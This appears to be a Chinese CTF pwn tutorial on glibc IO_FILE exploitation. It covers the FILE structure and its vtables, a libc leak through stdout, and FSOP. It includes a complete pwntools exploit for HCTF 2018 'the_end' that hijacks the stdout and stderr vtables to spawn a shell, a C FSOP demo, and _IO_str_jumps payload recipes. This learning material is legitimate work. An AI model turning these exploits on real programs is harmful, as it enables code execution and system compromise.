【PWN】IO_FILE的利用 此篇简单的学习一下IO_File的利用
IO_FILE 的结构 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 struct _IO_FILE { int _flags; #define _IO_file_flags _flags char * _IO_read_ptr; char * _IO_read_end; char * _IO_read_base; char * _IO_write_base; char * _IO_write_ptr; char * _IO_write_end; char * _IO_buf_base; char * _IO_buf_end; char *_IO_save_base; char *_IO_backup_base; char *_IO_save_end; struct _IO_marker *_markers ; struct _IO_FILE *_chain ; int _fileno;#if 0 int _blksize;#else int _flags2;#endif _IO_off_t _old_offset; #define __HAVE_COLUMN unsigned short _cur_column; signed char _vtable_offset; char _shortbuf[1 ]; _IO_lock_t *_lock;#ifdef _IO_USE_OLD_IO_FILE };struct _IO_FILE_complete { struct _IO_FILE _file ;#endif #if defined _G_IO_IO_FILE_VERSION && _G_IO_IO_FILE_VERSION == 0x20001 _IO_off64_t _offset;# if defined _LIBC || defined _GLIBCPP_USE_WCHAR_T struct _IO_codecvt *_codecvt ; struct _IO_wide_data *_wide_data ; struct _IO_FILE *_freeres_list ; void *_freeres_buf;# else void *__pad1; void *__pad2; void *__pad3; void *__pad4; size_t __pad5; int _mode; char _unused2[15 * sizeof (int ) - 4 * sizeof (void *) - sizeof (size_t )];#endif };
IO_FILE实际上还包括在一个IO_FILE_plus中
1 2 3 4 5 struct _IO_FILE_plus { _IO_FILE file; IO_jump_t *vtable; }
在 libc2.23 版本下,32 位的 vtable 偏移为 0x94,64 位偏移为 0xd8
IO_FILE_plus结构通过链表链接
初始时形成以下顺序:
_IO_list_all -> _IO_2_1_stderr_ -> _IO_2_1_stdout_ -> _IO_2_1_stdin_
_IO_list_all 是一个链表头
后面三个文件是三个自动open的文件,它们的文件描述符为2,1,0
stdin对应0,所以我们也可以猜想平常写的read(0,xxx,xxx)与write(1,xxx,xxx)是何含义,我们的io输入输出被抽象成了文件输入输出
假设我们open file,其会被插入到链表头位置,类似我们之前学的fastbin 插入。
它们会存在哪里?
自动开启的三个文件结构(IO_FILE_plus)会被存放在libc中,后续手动开启的则会被分配在堆区。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 .data:00000000003C56F8 dq offset _IO_file_jumps // vtables .data:00000000003C5700 public stderr .data:00000000003C5700 stderr dq offset _IO_2_1_stderr_ .data:00000000003C5700 ; DATA XREF: LOAD:000000000000BAF0↑o .data:00000000003C5700 ; fclose+F2↑r ... .data:00000000003C5708 public stdout .data:00000000003C5708 stdout dq offset _IO_2_1_stdout_ .data:00000000003C5708 ; DATA XREF: LOAD:0000000000009F48↑o .data:00000000003C5708 ; fclose+E9↑r ... .data:00000000003C5710 public stdin .data:00000000003C5710 stdin dq offset _IO_2_1_stdin_ .data:00000000003C5710 ; DATA XREF: LOAD:0000000000006DF8↑o .data:00000000003C5710 ; fclose:loc_6D340↑r ... .data:00000000003C5718 dq offset sub_20B70 .data:00000000003C5718 _data ends .data:00000000003C5718 .bss:00000000003C5720 ; ===========================================================================
那么什么是 *vtable项呢?
*vtable是一个指针,指向一个虚表。该虚表中存放了
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 void * funcs[] = { 1 NULL , 2 NULL , 3 exit , 4 NULL , 5 NULL , 6 NULL , 7 NULL , 8 NULL , 9 NULL , 10 NULL , 11 NULL , 12 NULL , 13 NULL , 14 NULL , 15 NULL , 16 NULL , 17 NULL , 18 pwn, 19 NULL , 20 NULL , 21 NULL , };
我们还是随便打开一个程序,dbg看看它的示例吧
通过 p _IO_list_all 我们可以查看该符号的地址
p *(struct _IO_FILE_plus *) _IO_list_all
我们这里可以看到vtable项、fileno项与_chain项
_chain项指向下一个表,如stderr的chain的值就是stdout的地址,fileno存的就是该文件的文件描述符。
那么这个虚表是干什么的?
_IO_puts在过程当中调用了一个叫做_IO_sputn
函数(_IO_fwrite也会调用这个),_IO_sputn其实是一个宏
,它的作用就是调用_IO_2_1_stdout_
中的vtable
所指向的_xsputn
,也就是_IO_new_file_xsputn
函数
这个虚表存放在哪里?
这个虚表也存放在了data区,还记得上面有张图吧,其就在stderr的上面。
日常所用的输入输出函数会调用虚表中的函数
fread->_IO_XSGETN fwrite->_IO_XSPUTN fopen->malloc a new file struct->make file vtable->initialization file struct->puts initialzation file in file struct fclose ->_IO_unlink_it->_IO_file_close_it->_IO_file_finish(_IO_FINISH)
如puts会调用虚表中的_xsputn,而经过一系列操作,最终会系统调用write。
利用_IO_2_1_stdout泄露libc iofile的相关利用,有一个很重要的效果就是泄露libc。
设置flag位绕过检测
_flags = 0xFBAD1800
伪造 vtable 劫持程序流程 由于我们调用io函数时,其最终会指向vtable的函数。所以我们可以通过改变vtable对应项或改变vtable指针,使其指向可利用位置,再在相应位置填写目标函数。
在 libc2.23 之前,这些 vtable 是可以写入并且不存在其他检测的。换言之,2.23及以后,只能通过修改vtable指针再进行利用了。
举例2018 HCTF the_end
由于sleep函数 地址泄露,所以可以获得基址,于是得到偏移后虚表指针地址,one_gadget地址。
题目拥有5字节任意地址修改能力。
本题我们利用的是:
在程序调用 exit
后,会遍历 _IO_list_all
,调用 _IO_2_1_stdout_
下的 vtable
中 _setbuf
函数。
setbuf在虚表0x58偏移处。
所以我们覆盖虚表指针的数值为 伪造处地址-0x58
exp:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 from pwn import *from LibcSearcher import LibcSearcher context(log_level = "debug" ,arch = "amd64" ) filename='./the_end.the_end' def connect (): global p,elf,libc local = 1 if local: p = process(['/mnt/e/CTF/PWN/tools/glibc-all-in-one/libs/2.23-0ubuntu11.3_amd64/ld-2.23.so' , filename], env={"LD_PRELOAD" :'/mnt/e/CTF/PWN/tools/glibc-all-in-one/libs/2.23-0ubuntu11.3_amd64/libc.so.6' }) else : p = remote("node4.buuoj.cn" , 25550 ) elf = ELF(filename) libc = ELF("/mnt/e/CTF/PWN/tools/glibc-all-in-one/libs/2.23-0ubuntu11.3_amd64/libc.so.6" ) s = lambda data :p.send(data) sl = lambda data :p.sendline(data) sa = lambda x,data :p.sendafter(x, data) sla = lambda x,data :p.sendlineafter(x, data) r = lambda n :p.recv(n) rl = lambda n :p.recvline(n) ru = lambda x :p.recvuntil(x, drop=True ) r = lambda x :p.recv(x) uu64 = lambda :u64(p.recvuntil(b'\x7f' )[-6 :].ljust(8 ,b'\x00' )) itr = lambda :p.interactive() leak = lambda name,addr :log.success('{} = {:#x}' .format (name, addr)) lg = lambda address,data :log.success('%s: ' %(address)+hex (data))def dbg (addr ): gdb.attach(sh,'b *0x{}\nc\n' .format (addr))def db (): gdb.attach(p)def change (addr1,byte ): s(p64(addr1)) s(p8(byte))def pwn (): ru("here is a gift " ) sleep = int (ru(", " ),16 ) leak("sleep" ,sleep) libc_addr = sleep - libc.sym["sleep" ] lg("libc_base" ,libc_addr) one_gadget = libc_addr + 0xf1247 stdout_vtable_ptr = libc_addr + libc.sym['_IO_2_1_stdout_' ]+0xd8 stderr_vtable_ptr = libc_addr + libc.sym['_IO_2_1_stderr_' ]+0xd8 lg("one_gadget" ,one_gadget) lg("stdout_vtable_ptr" ,stdout_vtable_ptr) lg("stderr_vtable_ptr" ,stderr_vtable_ptr) fake_vtable_addr = stderr_vtable_ptr - 0x58 lg("fake_vtable_addr" ,fake_vtable_addr) change(stdout_vtable_ptr,(fake_vtable_addr & 0xff )) change(stdout_vtable_ptr+1 ,((fake_vtable_addr >> 8 ) & 0xff )) change(stderr_vtable_ptr,(one_gadget & 0xff )) change(stderr_vtable_ptr+1 ,((one_gadget >> 8 ) & 0xff )) change(stderr_vtable_ptr+2 ,((one_gadget >> 16 ) & 0xff )) sl("exec /bin/sh 1>&0" ) p.interactive() connect() pwn()''' 0x45226 execve("/bin/sh", rsp+0x30, environ) constraints: rax == NULL 0x4527a execve("/bin/sh", rsp+0x30, environ) constraints: [rsp+0x30] == NULL 0xf03a4 execve("/bin/sh", rsp+0x50, environ) constraints: [rsp+0x50] == NULL 0xf1247 execve("/bin/sh", rsp+0x70, environ) constraints: [rsp+0x70] == NULL '''
stdout_vtable_ptr -> stderr_vtable_ptr - 0x58 (实际上是stderr_vtable_ptr虚表的位置)
stderr_vtable_ptr -> one_gadget
FSOP File Stream Oriented Programming 面向文件流编程
FSOP 的核心思想就是劫持_IO_list_all 的值来伪造链表和其中的_IO_FILE 项,但是单纯的伪造只是构造了数据还需要某种方法进行触发。FSOP 选择的触发方法是调用_IO_flush_all_lockp,这个函数会刷新_IO_list_all 链表中所有项的文件流,相当于对每个 FILE 调用 fflush,也对应着会调用_IO_FILE_plus.vtable 中的_IO_overflow。
触发该函数需要绕过
if (((fp->_mode <= 0 && fp->_IO_write_ptr > fp->_IO_write_base))
fp->_mode <= 0
fp->_IO_write_ptr > fp->_IO_write_base
而_IO_flush_all_lockp 不需要攻击者手动调用,在一些情况下这个函数会被系统调用:
当 libc 执行 abort 流程时
当执行 exit 函数时
当执行流从 main 函数返回时
ctfwiki给的示例很简单,具体利用有house of orange,后面再说。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 #define _IO_list_all 0x7ffff7dd2520 #define mode_offset 0xc0 #define writeptr_offset 0x28 #define writebase_offset 0x20 #define vtable_offset 0xd8 int main (void ) { void *ptr; long long *list_all_ptr; ptr=malloc (0x200 ); *(long long *)((long long )ptr+mode_offset)=0x0 ; *(long long *)((long long )ptr+writeptr_offset)=0x1 ; *(long long *)((long long )ptr+writebase_offset)=0x0 ; *(long long *)((long long )ptr+vtable_offset)=((long long )ptr+0x100 ); *(long long *)((long long )ptr+0x100 +24 )=0x41414141 ; list_all_ptr=(long long *)_IO_list_all; list_all_ptr[0 ]=ptr; exit (0 ); }
glibc 2.24 下 IO_FILE 的利用
在 2.24 版本的 glibc 中,全新加入了针对 IO_FILE_plus 的 vtable 劫持的检测措施,glibc 会在调用虚函数之前首先检查 vtable 地址的合法性。首先会验证 vtable 是否位于_IO_vtable 段中,如果满足条件就正常执行,否则会调用_IO_vtable_check 做进一步检查。
fileno 与缓冲区的相关利用 由于fwrite 等函数会最终调用io函数,其缓冲区的初地址有buf_base决定,所以如果修改buf_base与buf_end就可以实现任意地址输入。
_IO_str_jumps -> overflow libc
中不仅仅只有_IO_file_jumps
这么一个vtable
,还有一个叫_IO_str_jumps
的 ,这个 vtable
不在 check 范围之内。如果我们能设置文件指针的 vtable
为 _IO_str_jumps
么就能调用不一样的文件操作函数。
构造条件:
fp->_flags & _IO_NO_WRITES为假
(pos = fp->_IO_write_ptr - fp->_IO_write_base) >= ((fp->_IO_buf_end - fp->_IO_buf_base) + flush_only(1))
fp->_flags & _IO_USER_BUF(0x01)为假
2*(fp->_IO_buf_end - fp->_IO_buf_base) + 100 不能为负数
new_size = 2 * (fp->_IO_buf_end - fp->_IO_buf_base) + 100; 应当指向/bin/sh字符串对应的地址
fp+0xe0指向system地址
_IO_str_jumps -> finish 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 条件: _IO_buf_base 不为空 _flags & _IO_USER_BUF(0x01 ) 为假 构造: _flags = (binsh_in_libc + 0x10 ) & ~1 _IO_buf_base = binsh_addr _freeres_list = 0x2 _freeres_buf = 0x3 _mode = -1 vtable = _IO_str_finish - 0x18 fp+0xe8 -> system_addr